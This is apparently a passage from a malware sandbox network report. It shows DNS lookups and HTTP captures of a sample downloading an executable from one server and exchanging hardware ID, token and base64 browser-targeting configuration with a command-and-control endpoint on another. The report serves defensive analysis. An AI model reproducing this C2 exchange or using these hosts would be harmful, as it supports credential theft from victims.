Nov 5, 2024 10:13:46.684458017 CET	192.168.2.5	1.1.1.1	0x60cd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 5, 2024 10:13:46.693660975 CET	192.168.2.5	1.1.1.1	0xb7ac	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:46.693890095 CET	192.168.2.5	1.1.1.1	0xec37	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 5, 2024 10:12:58.271867037 CET	1.1.1.1	192.168.2.5	0xd97b	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:12:58.375822067 CET	1.1.1.1	192.168.2.5	0x9276	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:12:58.415319920 CET	1.1.1.1	192.168.2.5	0x7e37	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:12:58.443947077 CET	1.1.1.1	192.168.2.5	0x8c34	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:12:58.487759113 CET	1.1.1.1	192.168.2.5	0x7032	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:12:58.514074087 CET	1.1.1.1	192.168.2.5	0x4795	No error (0)	founpiuer.store		104.21.5.155	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:12:58.514074087 CET	1.1.1.1	192.168.2.5	0x4795	No error (0)	founpiuer.store		172.67.133.135	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:28.895340919 CET	1.1.1.1	192.168.2.5	0x673c	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:28.895879984 CET	1.1.1.1	192.168.2.5	0x4292	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 5, 2024 10:13:34.613332987 CET	1.1.1.1	192.168.2.5	0x3b6e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:34.614191055 CET	1.1.1.1	192.168.2.5	0xfb86	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:34.614191055 CET	1.1.1.1	192.168.2.5	0xfb86	No error (0)	plus.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:35.648519039 CET	1.1.1.1	192.168.2.5	0x79fe	No error (0)	play.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:41.971438885 CET	1.1.1.1	192.168.2.5	0xad14	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:41.972295046 CET	1.1.1.1	192.168.2.5	0x2852	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:42.312969923 CET	1.1.1.1	192.168.2.5	0x41d2	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:42.327951908 CET	1.1.1.1	192.168.2.5	0x9587	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:42.327951908 CET	1.1.1.1	192.168.2.5	0x9587	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:43.333995104 CET	1.1.1.1	192.168.2.5	0x7bee	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:43.334182024 CET	1.1.1.1	192.168.2.5	0xd871	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:45.152667999 CET	1.1.1.1	192.168.2.5	0xa946	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:45.153712988 CET	1.1.1.1	192.168.2.5	0x15de	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:45.155133009 CET	1.1.1.1	192.168.2.5	0x1a43	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:45.155133009 CET	1.1.1.1	192.168.2.5	0x1a43	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:45.155133009 CET	1.1.1.1	192.168.2.5	0x1a43	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:45.155133009 CET	1.1.1.1	192.168.2.5	0x1a43	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:45.191658020 CET	1.1.1.1	192.168.2.5	0x3dbd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:45.191807985 CET	1.1.1.1	192.168.2.5	0xb624	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:45.203764915 CET	1.1.1.1	192.168.2.5	0x2299	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:45.203852892 CET	1.1.1.1	192.168.2.5	0x5920	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:45.401844025 CET	1.1.1.1	192.168.2.5	0x61f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:45.401844025 CET	1.1.1.1	192.168.2.5	0x61f	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.129	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:45.402518988 CET	1.1.1.1	192.168.2.5	0xdad2	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 10:13:46.690371990 CET	1.1.1.1	192.168.2.5	0xbb03	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:46.690371990 CET	1.1.1.1	192.168.2.5	0xbb03	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:46.690437078 CET	1.1.1.1	192.168.2.5	0xc2aa	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 5, 2024 10:13:46.691160917 CET	1.1.1.1	192.168.2.5	0xf86f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:46.691160917 CET	1.1.1.1	192.168.2.5	0xf86f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:46.691278934 CET	1.1.1.1	192.168.2.5	0x60cd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 5, 2024 10:13:46.700287104 CET	1.1.1.1	192.168.2.5	0xb7ac	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:46.700287104 CET	1.1.1.1	192.168.2.5	0xb7ac	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:46.700562000 CET	1.1.1.1	192.168.2.5	0xec37	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	185.215.113.16	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:13:12.215473890 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 5, 2024 10:13:13.183135986 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 09:13:13 GMT Content-Type: application/octet-stream Content-Length: 2123264 Last-Modified: Tue, 05 Nov 2024 08:48:16 GMT Connection: keep-alive ETag: "6729dbd0-206600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 20 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 72 00 00 04 00 00 5a eb 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng, r@PrZ @P.d. p.v@.rsrc .@.idata .@ ).@ajclbkkePX@yhxmvaoer@ @.taggant0 r"D @
Nov 5, 2024 10:13:13.183161020 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 10:13:13.183267117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 10:13:13.183278084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 10:13:13.183290005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 10:13:13.183353901 CET	1236	IN	Data Raw: 8d 45 62 3f 01 bc c5 f7 9c 05 a7 27 d4 33 f9 9c ff e1 a6 a5 99 c3 84 bc 09 a2 59 93 5d 91 d3 54 94 63 9c 8b 1b 16 46 ca 2e bc e0 6c b2 0a 42 85 14 d6 ff e5 d2 cb fa a5 53 ae 5b de 91 b1 d3 ad b2 74 b8 79 9e 1e 38 1a 76 25 e4 25 d9 75 b1 15 b1 36 Data Ascii: Eb?'3Y]TcF.lBS[ty8v%%u6XRnb4(B1{t+n)Jx_XABi)Ca{>^:i@:KNKNKNKNKNKNKNKNKOe5BhNrlv0rXF@
Nov 5, 2024 10:13:13.183366060 CET	1236	IN	Data Raw: 13 a4 29 a2 80 5e b3 8a cf d9 ca 53 78 a6 49 5c 7d 3a 39 e3 b0 ca 00 8b c8 72 bd bd bf e4 21 7d 27 0a 0e d7 c9 83 13 3e 75 bd d0 34 17 b2 1f 88 d4 cd e4 73 c8 74 3d f3 b4 a9 e7 b8 84 0e 16 b2 8f 78 79 82 a1 0e ce 02 c1 1b 0a 3f 36 0c d3 37 6a 35 Data Ascii: )^SxI\}:9r!}'>u4st=xy?67j5G`&RjWt"sGqS30;=JhN4zJ;'}ZHf@Nimb$q~C69 MM'bkA/l=zIb_^dY$6\#
Nov 5, 2024 10:13:13.183377028 CET	1060	IN	Data Raw: d2 a8 c1 95 d7 9a ca 06 15 d7 38 bc 8f 76 cb 75 db ab 2d 03 ff 3b dc c4 c8 a1 d1 5f ef 6b 87 1e 1f aa 29 12 80 4a da 7d 15 70 f6 65 ca 3e 26 8a 03 a8 f2 6a 5f 88 f3 8b 29 29 d1 8a 77 2f c5 3c 17 5d 4b 5a 47 88 ca a3 98 cf ce 3f b3 72 3d 97 f5 b6 Data Ascii: 8vu-;_k)J}pe>&j_))w/<]KZG?r=h@QwvjR"f#wMaoHg;oAwY^>$^UPoRCPC:=6wY!K5l8>Cx$?yW9Ht\mZ
Nov 5, 2024 10:13:13.183387041 CET	1236	IN	Data Raw: 9f 8a 2d 95 83 81 3d 8b 17 4a e4 17 8a cb 51 03 19 b0 6d eb 81 be 9d 36 71 bb 02 17 f6 6b 68 9b 47 a1 e3 df 8b f9 5a ef f3 3a d9 e0 a9 a1 62 63 99 06 eb 4f d0 98 9a 62 99 ba 25 8a 06 58 e2 df cd 79 c2 8a 59 b9 27 8f ab 25 cb 56 a7 88 ca 4b 9a c2 Data Ascii: -=JQm6qkhGZ:bcOb%XyY'%VK).#N&x} Q7*l"%?+66\lS+Cv%<jRZK)o2Pu[~i<GvYJ!br1N 8iksP[l;J
Nov 5, 2024 10:13:13.183398008 CET	1236	IN	Data Raw: 3e 88 e0 73 80 92 5f 96 07 5c b8 68 a9 8f e1 8a 9a 3c 14 53 d2 a9 a9 ba 6b 8e 40 ad cb 8c 7f 5e ba 68 d2 73 8c 96 d9 8a 48 d5 16 0b 4f 8e 42 8a af b6 99 00 c0 c2 4f 3d d7 a1 d1 53 ef 1f 86 86 7a f0 28 12 80 4e da 09 15 7f 92 fe 67 3e 43 8a 03 b6 Data Ascii: >s_\h<Sk@^hsHOBO=Sz(Ng>C.zv#sPu?je&IefW6<WGM_^sFU<17N>h@6Ni?K`6M@)yPSuOk~k?9u;o\
Nov 5, 2024 10:13:13.190152884 CET	1236	IN	Data Raw: 81 08 b7 96 bb ca bc 46 cc 2a 79 1c 5d c6 34 c8 99 de 26 34 c0 64 09 5d a3 c8 01 f7 d8 d6 cc fb fd bb 58 2f ed 75 ee 06 95 f2 59 24 2f bc 89 f6 7c 94 79 72 6f b3 ab 42 46 0e 8e ee 63 5b 09 c7 9f 31 6e 81 69 4d 6b 1c 2f a7 66 eb 84 48 b2 be 77 3d Data Ascii: F*y]4&4d]X/uY$/\|yroBFc[1niMk/fHw=4WJ!`lv^w.6T.{~GBM?S-/8</imBb\2fC].9ZX2M:B]5%^'7:"5>8q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49738	185.215.113.206	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:13:19.668760061 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 10:13:20.567869902 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 10:13:20.570712090 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKJJECAEGCBGDHDHC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 41 46 41 35 33 42 33 35 33 38 31 38 30 36 39 37 30 37 35 32 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 2d 2d 0d 0a Data Ascii: ------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="hwid"1FAFA53B35381806970752------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="build"tale------AECAKJJECAEGCBGDHDHC--
Nov 5, 2024 10:13:20.861737013 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6d 4e 6b 59 6a 41 34 5a 44 63 79 4e 6a 42 6d 4e 7a 41 79 4e 47 56 6c 4e 57 4d 7a 4f 44 5a 69 4f 54 6c 68 4d 44 42 6b 5a 57 46 6c 59 54 55 33 4d 6a 52 6c 4d 54 64 6d 4e 47 45 7a 4e 54 6b 77 4f 44 6b 7a 4d 47 59 79 4d 6d 4a 68 4d 32 4a 6b 4e 47 49 35 59 54 67 77 4d 54 64 69 59 7a 4d 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NmNkYjA4ZDcyNjBmNzAyNGVlNWMzODZiOTlhMDBkZWFlYTU3MjRlMTdmNGEzNTkwODkzMGYyMmJhM2JkNGI5YTgwMTdiYzMwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 5, 2024 10:13:20.862698078 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 2d 2d 0d 0a Data Ascii: ------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="message"browsers------FIECFBAAAFHIIDGCGCBF--
Nov 5, 2024 10:13:21.142770052 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Nov 5, 2024 10:13:21.142818928 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Nov 5, 2024 10:13:21.143963099 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"plugins------AKKFHDAKECFHIDHJDAAA--
Nov 5, 2024 10:13:21.423652887 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 